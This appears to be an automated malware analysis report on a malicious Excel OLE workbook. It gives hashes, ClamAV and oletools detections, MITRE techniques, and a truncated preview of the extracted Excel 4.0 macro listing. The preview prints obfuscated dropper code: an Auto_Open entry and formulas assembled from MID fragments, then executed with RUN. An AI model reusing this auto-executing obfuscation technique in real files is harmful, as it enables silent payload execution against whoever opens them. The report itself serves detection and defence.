Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 417b933181718081…

MALICIOUS

Office (OLE)

102.5 KB Created: 2020-05-28 08:29:04 Authoring application: Microsoft Excel First seen: 2020-08-25
MD5: c04adae384f3588d5cd496df911a1249 SHA-1: a41d7bb02cc226c6ebb8b23414a1f2c8c6d62a6a SHA-256: 417b933181718081dbcd3041f75bfe72c11d89a12ef170c432eeee474a5168ed
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, including an Auto_Open entry, which is a known technique for executing malicious code upon opening the workbook. The macros utilize dangerous functions like RUN, indicating an intent to execute a secondary payload. ClamAV also identified this as a dropper agent.

Heuristics 4

  • ClamAV: Xls.Dropper.Agent-9111653-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-9111653-0
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 39894 bytes
SHA-256: f4bf1658f6cefcda0faa2aeffade210a5f9571d3fdac4e009bcaf1efa194287d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     38 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  KjycXnFSADzQUS67RMWu2kfCxvfVo
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!CD63170 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  KjycXnFSADzQUS67RMWu2kfCxvfVo,DT3762,"SET.VALUE(DM20338,"klmnopqrstuvwxyz{|}")",""
'  KjycXnFSADzQUS67RMWu2kfCxvfVo,DT3763,GOTO(GS6572),""
'  KjycXnFSADzQUS67RMWu2kfCxvfVo,DL6369,"FORMULA(MID(GA32061,12,1)&MID(JJ45992,2,1)&MID(GA32061,18,1)&MID(JJ45992,8,1)&MID(JJ45992,11,1)&MID(JJ45992,15,1)&MID(JJ45992,1,1)&MID(JD14586,9,1)&MID(JJ45992,14,1)&MID(IV16933,4,1)&MID(GA32061,6,1)&MID(GA32061,1,1)&MID(GA32061,4,1)&MID(GA32061,7,1)&MID(IV16933,6,1)&MID(GA32061,18,1)&MID(IV16933,4,1)&MID(JD14586,14,1)&MID(GA32061,2,1)&MID(GA32061,2,1)&MID(IV16933,6,1)&MID(JD14586,10,1),DL6370)",""
'  KjycXnFSADzQUS67RMWu2kfCxvfVo,DL6371,GOTO(HB46658),""
'  KjycXnFSADzQUS67RMWu2kfCxvfVo,GS6572,"FORMULA(MID(GA32061,12,1)&MID(GA32061,18,1)&MID(JJ45992,8,1)&MID(JJ45992,11,1)&MID(JJ45992,15,1)&MID(JJ45992,1,1)&MID(JD14586,9,1)&MID(JJ45992,2,1)&MID(GA32061,16,1)&MID(JJ45992,8,1)&MID(JJ45992,15,1)&MID(JJ45992,1,1)&MID(JD14586,10,1),IE16348)",""
'  KjycXnFSADzQUS67RMWu2kfCxvfVo,GS6573,RUN(DP37559),""
'  KjycXnFSADzQUS67RMWu2kfCxvfVo,IG7775,"SET.VALUE(IP31623,"EFGHIJKLMNOPQRSTUVW")",""
'  KjycXnFSADzQUS67RMWu2kfCxvfVo,IG7776,GOTO(IK22638),""
'  KjycXnFSADzQUS67RMWu2kfCxvfVo,CK7859,"FORMULA(MID(GA32061,12,1)&MID(GA32061,18,1)&MID(GA32061,16,1)&MID(JJ45992,8,1)&MID(JJ45992,8,1)&MID(JD14586,9,1)&MID(JD14586,3,1)&MID(DM20338,11,1)&MID(DM20338,8,1)&MID(DM20338,2,1)&MID(DM20338,3,1)&MID(DM20338,5,1)&MID(DM20338,4,1)&MID(JD14586,3,1)&MID(JD14586,13,1)&MID(JD14586,3,1)&MID(JJ45992,17,1)&MID(JJ45992,14,1)&MID(JJ45992,8,1)&MID(GA32061,19,1)&MID(DM20338,5,1)&MID(DM20338,13,1)&MID(DM20338,4,1)&MID(DM20338,2,1)&MID(DM20338,5,1)&MID(IV16933,10,1)&MID(IV16933,13,1)&MID(JJ45992,16,1)&MID(DM20338,5,1)&MID(JJ45992,2,1)&MID(IV16933,18,1)&MID(DM20338,2,1)&MID(IV16933,14,1)&MID(GA32061,16,1)&MID(JD14586,3,1)&MID(JD14586,13,1)&MID(JD14586,3,1)&MID(JJ45992,6,1)&MID(JJ45992,6,1)&MID(GA32061,18,1)&MID(GA32061,18,1)&MID(JJ45992,6,1)&MID(JJ45992,6,1)&MID(JD14586,3,1)&MID(JD14586,13,1)&MID(JD14586,17,1)&MID(JD14586,13,1)&MID(JJ45992,14,1)&MID(IV16933,4,1)&MID(JD14586,18,1)&MID(GA32061,3,1)&MID(JD14586,17,1)&MID(GA32061,5,1)&MID(JD14586,18,1)&MID(IV16933,6,1)&MID(GA32061,18,1)&MID(IV16933,4,1)&MID(JD14586,18,1)&MID(GA32061,5,1)&MID(GA32061,7,1)&MID(IV16933,6,1)&MID(JD14586,13,1)&MID(JJ45992,14,1)&MID(IV16933,4,1)&MID(GA32061,2,1)&MID(GA32061,6,1)&MID(JD14586,17,1)&MID(JD14586,17,1)&MID(GA32061,2,1)&MID(IV16933,6,1)&MID(GA32061,18,1)&MID(IV16933,4,1)&MID(GA32061,4,1)&MID(GA32061,8,1)&MID(IV16933,6,1)&MID(JD14586,13,1)&MID(JD14586,17,1)&MID(JD14586,13,1)&MID(JD14586,17,1)&MID(JD14586,10,1),CK7860)",""
'  KjycXnFSADzQUS67RMWu2kfCxvfVo,CK7861,RUN(IE35966),""
'  KjycXnFSADzQUS67RMWu2kfCxvfVo,HB8177,"FORMULA(MID(GA32061,12,1)&MID(JJ45992,5,1)&MID(JJ45992,2,1)&MID(JD14586,9,1)&MID(JJ45992,3,1)&MID(JJ45992,1,1)&MID(JJ45992,16,1)&MID(JD14586,15,1)&MID(JJ45992,19,1)&MID(JJ45992,11,1)&MID(JJ45992,14,1)&MID(JJ45992,7,1)&MID(JJ45992,15,1)&MID(JJ45992,12,1)&MID(GA32061,16,1)&MID(GA32061,18,1)&MID(JJ45992,1,1)&MID(JD14586,9,1)&MID(JD14586,18,1)&MID(GA32061,8,1)&MID(JD14586,10,1)&MID(JD14586,13,1)&MID(JD14586,13,1)&MID(JJ45992,3,1)&MID(JJ45992,11,1)&MID(JJ45992,16,1)&MID(JJ45992,11,1)&MID(JD14586,9,1)&MID(JJ45992,14,1)&MID(IV16933,4,1)&MID(GA32061,7,1)&MID(JD14586,18,1)&MID(GA32061,6,1)&MID(JD14586,17,1)&MID(IV16933,6,1)&MID(GA32061,18,1)&MID(IV16933,4,1)&MID(GA32061,1,1)&MID(GA32061,8,1)&MID(IV16933,6,1)&MID(JD14586,10,1)&MID(JD14586,10,1),HB8178)",""
'  KjycXnFSADzQUS67RMWu2kfCxvfVo,HB8179,RUN(DK16157),""
'  KjycXnFSADzQUS67RMWu2kfCxvfVo,JC9206,"FORMULA(MID(GZ60558,12,1)&MID(GZ60558,18,1
... (truncated)

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